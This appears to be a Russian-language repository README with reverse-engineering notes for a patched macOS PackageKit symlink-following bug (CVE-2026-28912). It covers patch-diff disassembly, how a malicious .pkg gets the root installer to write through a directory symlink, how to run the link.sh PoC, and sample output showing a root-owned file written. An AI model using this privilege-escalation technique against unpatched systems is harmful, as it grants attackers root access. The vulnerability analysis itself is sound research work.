
Заметки по обратной разработке и рабочий PoC для ошибки следования по символическим ссылкам в macOS PackageKit (CVE-2026-28912), с diff дизассемблирования исправления в 26.6.
Независимая обратная разработка ошибки следования по символической ссылке в macOS PackageKit (CVE-2026-28912), а также рабочий PoC, демонстрирующий, как установщик записывает контролируемый злоумышленником файл от имени root через символическую ссылку на каталог в пути назначения установки.
Ошибка представляет собой несинхронизированный обход пути в логике перепривязки файлов PKCoreShove. Вредоносный .pkg может объявить путь назначения в непривилегированном каталоге, разместить символическую ссылку на каталог в одном из компонентов пути, указывающую на привилегированное расположение, и заставить установщик — работающий от имени root — записать данные в цель символической ссылки. Исправление Apple в 26.6 добавляет _PKSIPOpenPathSafely, который обходит каждый компонент пути с O_NOFOLLOW и отклоняет любую символическую ссылку.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-28912 |
| Компонент | PackageKit (PKCoreShove, PKBundleComponent) |
| Затронуто | macOS Tahoe 26.5 и более ранние |
| Исправлено в | macOS Tahoe 26.6 |
| Влияние по бюллетеню | "Приложение может получить привилегии root." |
| CVSS v3.1 | 7.8 (Высокий) |
| Сообщено | Первоначальные исследователи согласно бюллетеню Apple |
Бюллетень Apple для CVE-2026-28912 описывает влияние и исправленную версию. Он не описывает технический механизм:
На момент написания публичный технический разбор не был найден. Этот репозиторий восполняет этот пробел независимым анализом обратной разработки PackageKit между 26.4 и 26.6 и рабочим PoC, демонстрирующим примитив в действии.
Это не заявка на открытие. CVE был обнаружен первоначальными исследователями и исправлен Apple. Вклад здесь — технический анализ и воспроизведение.
PKCoreShove _relinkFile:dest: в macOS 26.4 обходит путь назначения компонент за компонентом при создании файла:
; macOS 26.4, PackageKit
1a9fb14f8 _relinkFile:dest:
...
bl _linkResolutionProhibitted ; returns 0 in the normal case
mov w8, 0x10 ; RENAME_NOFOLLOW_ANY
cmp w0, 0
csel w22, w8, wzr, ne ; w22 = 0x10 if prohibited, else 0
...
mov x2, x22
bl _renamex_np ; uses w22 as flags
_linkResolutionProhibitted возвращает 0 (false), когда вызывающий процесс не может изменять файлы SIP — обычный случай для установки, инициированной пользователем. Это отключает RENAME_NOFOLLOW_ANY, поэтому переименование следует по любой символической ссылке в пути назначения.
Исправление в 26.6 добавляет _PKSIPOpenPathSafely, вызываемый из PKBundleComponent initWithBundleAtPath:relativeToDestination::
; macOS 26.6, PackageKit
1aa6dfe18 bl _PKSIPOpenPathSafely ; walks each component with O_NOFOLLOW
_PKSIPOpenPathSafely:
Любой компонент, являющийся символической ссылкой, указывающей за пределы предполагаемого пути, отклоняется с EPERM или ELOOP, и установка завершается неудачей.
См. docs/ANALYSIS.md для полного разбора и docs/ARTIFACTS.md для адресов и образцов логов.
link.sh — однофайловый, самодостаточный PoC:
Продемонстрированное влияние — это примитив следования по символической ссылке — именно то поведение, которое закрывает исправление в 26.6.
PoC выполняется полностью на цели. Символическая ссылка и полезная нагрузка создаются локально. Это делает PoC самодостаточным и воспроизводимым без какой-либо сетевой конфигурации.
chmod +x link.sh
./link.sh
Опциональная настройка через переменные окружения:
sudo CONTENT="test content" ./link.sh
CONTENT задаёт содержимое, записываемое через символическую ссылку. По умолчанию это hello.
[*] System information:
ProductName: macOS
ProductVersion: 26.4
BuildVersion: 25E246
[*] Setup...
Symlink: /Users/nerd/cve-poc/target → /Users/nerd/cve-poc/real
[*] Build .pkg...
Payload: /Users/nerd/cve-poc/payload/Users/nerd/cve-poc/target/poc.txt
Package: /Users/nerd/cve-poc/poc.pkg
[*] Install (password prompt expected)...
installer: Package name is poc
installer: Installing at base path /
installer: The install was successful.
[✓] VULNERABILITY CONFIRMED
Landed at /Users/nerd/cve-poc/real/poc.txt
Owner: root:wheel
Content: hello
CVE-2026-28912 trigger SUCCESSFUL
На исправленной системе (26.6) тот же PoC завершается неудачей:
[✗] Not triggered
No file was created in /Users/nerd/cve-poc/real/
См. docs/PATCH_DIFF.md для сравнения дизассемблирования.
Две детали в PoC были обнаружены во время разработки и задокументированы здесь, чтобы другие, создающие аналогичные инструменты, не наткнулись на них: